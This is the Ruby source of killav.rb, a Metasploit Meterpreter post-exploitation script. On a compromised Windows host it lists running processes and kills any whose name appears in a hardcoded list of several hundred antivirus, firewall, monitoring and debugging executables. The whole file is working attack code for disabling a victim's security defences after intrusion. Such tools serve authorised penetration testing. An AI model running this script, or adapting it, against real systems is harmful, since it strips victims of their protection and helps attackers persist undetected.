Metasploit Framework

# $Id: killav.rb 7276 2009-10-26 15:14:28Z egypt $

#

# Meterpreter script that kills all Antivirus processes

# Provided by: Jerome Athias <jerome.athias [at] free.fr>

#

@@exec_opts = Rex::Parser::Arguments.new(

        "-h"  => [ false, "Help menu." ]

)

def usage

        print_line("Usage:" + @@exec_opts.usage)

        raise Rex::Script::Completed

end

@@exec_opts.parse(args) { |opt, idx, val|

        case opt

        when "-h"

                usage

        end

}

print_status("Killing Antivirus services on the target...")

avs = %W{

        AAWTray.exe        

        Ad-Aware.exe

        MSASCui.exe

        _avp32.exe

        _avpcc.exe

        _avpm.exe

        aAvgApi.exe

        ackwin32.exe

        adaware.exe

        advxdwin.exe

        agentsvr.exe

        agentw.exe

        alertsvc.exe

        alevir.exe

        alogserv.exe

        amon9x.exe

        anti-trojan.exe

        antivirus.exe

        ants.exe

        apimonitor.exe

        aplica32.exe

        apvxdwin.exe

        arr.exe

        atcon.exe

        atguard.exe

        atro55en.exe

        atupdater.exe

        atwatch.exe

        au.exe

        aupdate.exe

        auto-protect.nav80try.exe

        autodown.exe

        autotrace.exe

        autoupdate.exe

        avconsol.exe

        ave32.exe

        avgcc32.exe

        avgctrl.exe

        avgemc.exe

        avgnt.exe

        avgrsx.exe

        avgserv.exe

        avgserv9.exe

        avguard.exe

        avgw.exe

        avkpop.exe

        avkserv.exe

        avkservice.exe

        avkwctl9.exe

        avltmain.exe

        avnt.exe

        avp.exe

        avp.exe 

        avp32.exe

        avpcc.exe

        avpdos32.exe

        avpm.exe

        avptc32.exe

        avpupd.exe

        avsched32.exe

        avsynmgr.exe

        avwin.exe

        avwin95.exe

        avwinnt.exe

        avwupd.exe

        avwupd32.exe

        avwupsrv.exe

        avxmonitor9x.exe

        avxmonitornt.exe

        avxquar.exe

        backweb.exe

        bargains.exe

        bd_professional.exe

        beagle.exe

        belt.exe

        bidef.exe

        bidserver.exe

        bipcp.exe

        bipcpevalsetup.exe

        bisp.exe

        blackd.exe

        blackice.exe

        blink.exe

        blss.exe

        bootconf.exe

        bootwarn.exe

        borg2.exe

        bpc.exe

        brasil.exe

        bs120.exe

        bundle.exe

        bvt.exe

        ccapp.exe

        ccevtmgr.exe

        ccpxysvc.exe

        cdp.exe

        cfd.exe

        cfgwiz.exe

        cfiadmin.exe

        cfiaudit.exe

        cfinet.exe

        cfinet32.exe

        claw95.exe

        claw95cf.exe

        clean.exe

        cleaner.exe

        cleaner3.exe

        cleanpc.exe

        click.exe

        cmd.exe

        cmd32.exe

        cmesys.exe

        cmgrdian.exe

        cmon016.exe

        connectionmonitor.exe

        cpd.exe

        cpf9x206.exe

        cpfnt206.exe

        ctrl.exe

        cv.exe

        cwnb181.exe

        cwntdwmo.exe

        datemanager.exe

        dcomx.exe

        defalert.exe

        defscangui.exe

        defwatch.exe

        deputy.exe

        divx.exe

        dllcache.exe

        dllreg.exe

        doors.exe

        dpf.exe

        dpfsetup.exe

        dpps2.exe

        drwatson.exe

        drweb32.exe

        drwebupw.exe

        dssagent.exe

        dvp95.exe

        dvp95_0.exe

        ecengine.exe

        efpeadm.exe

        emsw.exe

        ent.exe

        esafe.exe

        escanhnt.exe

        escanv95.exe

        espwatch.exe

        ethereal.exe

        etrustcipe.exe

        evpn.exe

        exantivirus-cnet.exe

        exe.avxw.exe

        expert.exe

        explore.exe

        f-agnt95.exe

        f-prot.exe

        f-prot95.exe

        f-stopw.exe

        fameh32.exe

        fast.exe

        fch32.exe

        fih32.exe

        findviru.exe

        firewall.exe

        fnrb32.exe

        fp-win.exe

        fp-win_trial.exe

        fprot.exe

        frw.exe

        fsaa.exe

        fsav.exe

        fsav32.exe

        fsav530stbyb.exe

        fsav530wtbyb.exe

        fsav95.exe

        fsgk32.exe

        fsm32.exe

        fsma32.exe

        fsmb32.exe

        gator.exe

        gbmenu.exe

        gbpoll.exe

        generics.exe

        gmt.exe

        guard.exe

        guarddog.exe

        hacktracersetup.exe

        hbinst.exe

        hbsrv.exe

        hotactio.exe

        hotpatch.exe

        htlog.exe

        htpatch.exe

        hwpe.exe

        hxdl.exe

        hxiul.exe

        iamapp.exe

        iamserv.exe

        iamstats.exe

        ibmasn.exe

        ibmavsp.exe

        icload95.exe

        icloadnt.exe

        icmon.exe

        icsupp95.exe

        icsuppnt.exe

        idle.exe

        iedll.exe

        iedriver.exe

        iexplorer.exe

        iface.exe

        ifw2000.exe

        inetlnfo.exe

        infus.exe

        infwin.exe

        init.exe

        intdel.exe

        intren.exe

        iomon98.exe

        istsvc.exe

        jammer.exe

        jdbgmrg.exe

        jedi.exe

        kavlite40eng.exe

        kavpers40eng.exe

        kavpf.exe

        kazza.exe

        keenvalue.exe

        kerio-pf-213-en-win.exe

        kerio-wrl-421-en-win.exe

        kerio-wrp-421-en-win.exe

        kernel32.exe

        killprocesssetup161.exe

        launcher.exe

        ldnetmon.exe

        ldpro.exe

        ldpromenu.exe

        ldscan.exe

        lnetinfo.exe

        loader.exe

        localnet.exe

        lockdown.exe

        lockdown2000.exe

        lookout.exe

        lordpe.exe

        lsetup.exe

        luall.exe

        luau.exe

        lucomserver.exe

        luinit.exe

        luspt.exe

        mapisvc32.exe

        mcagent.exe

        mcmnhdlr.exe

        mcshield.exe

        mctool.exe

        mcupdate.exe

        mcvsrte.exe

        mcvsshld.exe

        md.exe

        mfin32.exe

        mfw2en.exe

        mfweng3.02d30.exe

        mgavrtcl.exe

        mgavrte.exe

        mghtml.exe

        mgui.exe

        minilog.exe

        mmod.exe

        monitor.exe

        moolive.exe

        mostat.exe

        mpfagent.exe

        mpfservice.exe

        mpftray.exe

        mrflux.exe

        msapp.exe

        msbb.exe

        msblast.exe

        mscache.exe

        msccn32.exe

        mscman.exe

        msconfig.exe

        msdm.exe

        msdos.exe

        msiexec16.exe

        msinfo32.exe

        mslaugh.exe

        msmgt.exe

        msmsgri32.exe

        mssmmc32.exe

        mssys.exe

        msvxd.exe

        mu0311ad.exe

        mwatch.exe

        n32scanw.exe

        nav.exe

        navap.navapsvc.exe

        navapsvc.exe

        navapw32.exe

        navdx.exe

        navlu32.exe

        navnt.exe

        navstub.exe

        navw32.exe

        navwnt.exe

        nc2000.exe

        ncinst4.exe

        ndd32.exe

        neomonitor.exe

        neowatchlog.exe

        netarmor.exe

        netd32.exe

        netinfo.exe

        netmon.exe

        netscanpro.exe

        netspyhunter-1.2.exe

        netstat.exe

        netutils.exe

        nisserv.exe

        nisum.exe

        nmain.exe

        nod32.exe

        normist.exe

        norton_internet_secu_3.0_407.exe

        notstart.exe

        npf40_tw_98_nt_me_2k.exe

        npfmessenger.exe

        nprotect.exe

        npscheck.exe

        npssvc.exe

        nsched32.exe

        nssys32.exe

        nstask32.exe

        nsupdate.exe

        nt.exe

        ntrtscan.exe

        ntvdm.exe

        ntxconfig.exe

        nui.exe

        nupgrade.exe

        nvarch16.exe

        nvc95.exe

        nvsvc32.exe

        nwinst4.exe

        nwservice.exe

        nwtool16.exe

        ollydbg.exe

        onsrvr.exe

        optimize.exe

        ostronet.exe

        otfix.exe

        outpost.exe

        outpostinstall.exe

        outpostproinstall.exe

        padmin.exe

        panixk.exe

        patch.exe

        pavcl.exe

        pavproxy.exe

        pavsched.exe

        pavw.exe

        pccwin98.exe

        pcfwallicon.exe

        pcip10117_0.exe

        pcscan.exe

        pdsetup.exe

        periscope.exe

        persfw.exe

        perswf.exe

        pf2.exe

        pfwadmin.exe

        pgmonitr.exe

        pingscan.exe

        platin.exe

        pop3trap.exe

        poproxy.exe

        popscan.exe

        portdetective.exe

        portmonitor.exe

        powerscan.exe

        ppinupdt.exe

        pptbc.exe

        ppvstop.exe

        prizesurfer.exe

        prmt.exe

        prmvr.exe

        procdump.exe

        processmonitor.exe

        procexplorerv1.0.exe

        programauditor.exe

        proport.exe

        protectx.exe

        pspf.exe

        purge.exe

        qconsole.exe

        qserver.exe

        rapapp.exe

        rav7.exe

        rav7win.exe

        rav8win32eng.exe

        ray.exe

        rb32.exe

        rcsync.exe

        realmon.exe

        reged.exe

        regedit.exe

        regedt32.exe

        rescue.exe

        rescue32.exe

        rrguard.exe

        rshell.exe

        rtvscan.exe

        rtvscn95.exe

        rulaunch.exe

        run32dll.exe

        rundll.exe

        rundll16.exe

        ruxdll32.exe

        safeweb.exe

        sahagent.exe

        save.exe

        savenow.exe

        sbserv.exe

        sc.exe

        scam32.exe

        scan32.exe

        scan95.exe

        scanpm.exe

        scrscan.exe

        serv95.exe

        setup_flowprotector_us.exe

        setupvameeval.exe

        sfc.exe

        sgssfw32.exe

        sh.exe

        shellspyinstall.exe

        shn.exe

        showbehind.exe

        smc.exe

        sms.exe

        smss32.exe

        soap.exe

        sofi.exe

        sperm.exe

        spf.exe

        sphinx.exe

        spoler.exe

        spoolcv.exe

        spoolsv32.exe

        spyxx.exe

        srexe.exe

        srng.exe

        ss3edit.exe

        ssg_4104.exe

        ssgrate.exe

        st2.exe

        start.exe

        stcloader.exe

        supftrl.exe

        support.exe

        supporter5.exe

        svc.exe

        svchostc.exe

        svchosts.exe

        svshost.exe

        sweep95.exe

        sweepnet.sweepsrv.sys.swnetsup.exe

        symproxysvc.exe

        symtray.exe

        sysedit.exe

        system.exe

        system32.exe

        sysupd.exe

        taskmg.exe

        taskmgr.exe

        taskmo.exe

        taskmon.exe

        taumon.exe

        tbscan.exe

        tc.exe

        tca.exe

        tcm.exe

        tds-3.exe

        tds2-98.exe

        tds2-nt.exe

        teekids.exe

        tfak.exe

        tfak5.exe

        tgbob.exe

        titanin.exe

        titaninxp.exe

        tracert.exe

        trickler.exe

        trjscan.exe

        trjsetup.exe

        trojantrap3.exe

        tsadbot.exe

        tvmd.exe

        tvtmd.exe

        undoboot.exe

        updat.exe

        update.exe

        upgrad.exe

        utpost.exe

        vbcmserv.exe

        vbcons.exe

        vbust.exe

        vbwin9x.exe

        vbwinntw.exe

        vcsetup.exe

        vet32.exe

        vet95.exe

        vettray.exe

        vfsetup.exe

        vir-help.exe

        virusmdpersonalfirewall.exe

        vnlan300.exe

        vnpc3000.exe

        vpc32.exe

        vpc42.exe

        vpfw30s.exe

        vptray.exe

        vscan40.exe

        vscenu6.02d30.exe

        vsched.exe

        vsecomr.exe

        vshwin32.exe

        vsisetup.exe

        vsmain.exe

        vsmon.exe

        vsstat.exe

        vswin9xe.exe

        vswinntse.exe

        vswinperse.exe

        w32dsm89.exe

        w9x.exe

        watchdog.exe

        webdav.exe

        webscanx.exe

        webtrap.exe

        wfindv32.exe

        whoswatchingme.exe

        wimmun32.exe

        win-bugsfix.exe

        win32.exe

        win32us.exe

        winactive.exe

        window.exe

        windows.exe

        wininetd.exe

        wininit.exe

        wininitx.exe

        winlogin.exe

        winmain.exe

        winnet.exe

        winppr32.exe

        winrecon.exe

        winservn.exe

        winssk32.exe

        winstart.exe

        winstart001.exe

        wintsk32.exe

        winupdate.exe

        wkufind.exe

        wnad.exe

        wnt.exe

        wradmin.exe

        wrctrl.exe

        wsbgate.exe

        wupdater.exe

        wupdt.exe

        wyvernworksfirewall.exe

        xpf202en.exe

        zapro.exe

        zapsetup3001.exe

        zatutor.exe

        zonalm2601.exe

        zonealarm.exe

}

client.sys.process.get_processes().each do |x|

        if (avs.index(x['name'].downcase))

                print_status("Killing off #{x['name']}...")

                client.sys.process.kill(x['pid'])

        end

end